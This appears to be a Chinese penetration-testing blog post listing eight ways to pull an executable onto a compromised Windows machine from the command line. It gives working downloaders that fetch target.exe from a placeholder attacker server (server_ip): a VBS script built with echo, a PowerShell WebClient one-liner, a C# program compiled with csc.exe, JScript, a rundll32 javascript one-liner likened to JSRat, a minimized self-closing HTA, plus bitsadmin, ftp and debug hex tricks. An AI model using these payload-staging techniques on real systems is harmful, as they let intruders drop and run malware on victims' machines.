cmd与服务器文件传输,渗透技巧--通过cmd上传文件的N种方法

渗透技巧--通过cmd上传文件的N种方法

1.debug

debug是一个程序调试工具,功能包括:(win7以上版本好像没有)

直接输入,更改,跟踪,运行汇编语言源程序

观察操作系统的内容

查看ROM BIOS的内容

观察更改RAM内部的设置值

以扇区或文件的方式读写软盘数据

特别的是它还有一个功能可以将十六进制代码转换为可执行文件:hex

思路:

把需要上传的exe转换成十六进制hex的形式

通过echo命令将hex代码写入文件

使用debug功能将hex代码还原出exe文件

操作

[kali]

cd /usr/share/windows-binaries

wine exe2bat.exe input.exe output.txt

# 只适用于小于64kb的文件

[windows]

复制output.txt文件到cmd执行

2.ftp

搭建好ftp服务器

[windows cmd]

ftp

ftp>open ip:port

ftp>username

ftp>password

ftp>get target.exe

3.vbs

vbs downloader,使用msxml2.xmlhttp和adodb.stream对象

对应到cmd下的命令为:

echo Set Post = CreateObject("Msxml2.XMLHTTP") >>download.vbs

echo Set Shell = CreateObject("Wscript.Shell") >>download.vbs

echo Post.Open "GET","http://server_ip/target.exe",0 >>download.vbs

echo Post.Send() >>download.vbs

echo Set aGet = CreateObject("ADODB.Stream") >>download.vbs

echo aGet.Mode = 3 >>download.vbs

echo aGet.Type = 1 >>download.vbs

echo aGet.Open() >>download.vbs

echo aGet.Write(Post.responseBody) >>download.vbs

echo aGet.SaveToFile "C:\test\target .exe",2 >>download.vbs

按顺序依次执行后会生成download.vbs,然后执行download.vbs即可实现下载target.exe

4.powershell

powershell (new-object System.Net.WebClient).DownloadFile( 'http://server_ip/target.exe','C:\test\target.exe')

5. csharp

csc.exe是微软.NET Framework 中的C#编译器,Windows系统中默认包含,可在命令行下将cs文件编译成exe使用echo将代码依次写入文件download.cs中,然后调用csc.exe编译cs文件

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /out:C:\download.exe C:\download.cs csc.exe的绝对路径要根据系统的.net版本来确定

using System.Net;

namespace downloader

{

class Program

{

static void Main(string[] args)

{

WebClient client = new WebClient();

string URLAddress = @"http://server_ip/target.exe";

string receivePath = @"C:\file_directory\";

client.DownloadFile(URLAddress, receivePath + System.IO.Path.GetFileName

(URLAddress));

}

}

}

6.js

相比于JSRat中用的 Scripting.FileSystemObject换用 ADODB.Stream实现起来更加简单高效

以下代码依次保存为js文件,直接执行即可实现下载文件

var Object = WScript.CreateObject("MSXML2.XMLHTTP");

Object.open("GET","http://server_ip/target.exe",false);

Object.send();

if (Object.Status == 200)

{

var Stream = WScript.CreateObject("ADODB.Stream");

Stream.Open();

Stream.Type = 1;

Stream.Write(Object.ResponseBody);

Stream.SaveToFile("C:\\target.exe", 2);

Stream.Close();

}

合并成rundll32的一句话(类似于JSRat的启动方式):

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";

document.write();

Object=new%20ActiveXObject("Microsoft.XMLHTTP");

Object.open("GET","http://server_ip/target.exe",false);Object.send();

if(Object.Status==200){Stream=new%20ActiveXObject("ADODB.Stream");

Stream.Open();

Stream.Type=1;

Stream.Write(Object.ResponseBody);

Stream.SaveToFile("C:\\target.exe",2);

Stream.Close();}

7、hta

添加最小化和自动退出hta程序的功能,执行过程中会最小化hta窗口,下载文件结束后自动退出hta程序以下代码保存为.hta文件:

var Object = new ActiveXObject("MSXML2.XMLHTTP");

Object.open("GET","http://server_ip/target.exe",false);

Object.send();

if (Object.Status == 200)

{

var Stream = new ActiveXObject("ADODB.Stream");

Stream.Open();

Stream.Type = 1;

Stream.Write(Object.ResponseBody);

Stream.SaveToFile("C:\\target.exe", 2);

Stream.Close();

}

window.close();

WINDOWSTATE = "minimize">

8、bitsadmin

bitsadmin是一个命令行工具,可用于创建下载或上传工作和监测其进展情况。xp以后的Windows系统自带

使用方法:

bitsadmin /transfer n download_url save_path/filename.*

参考资料

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值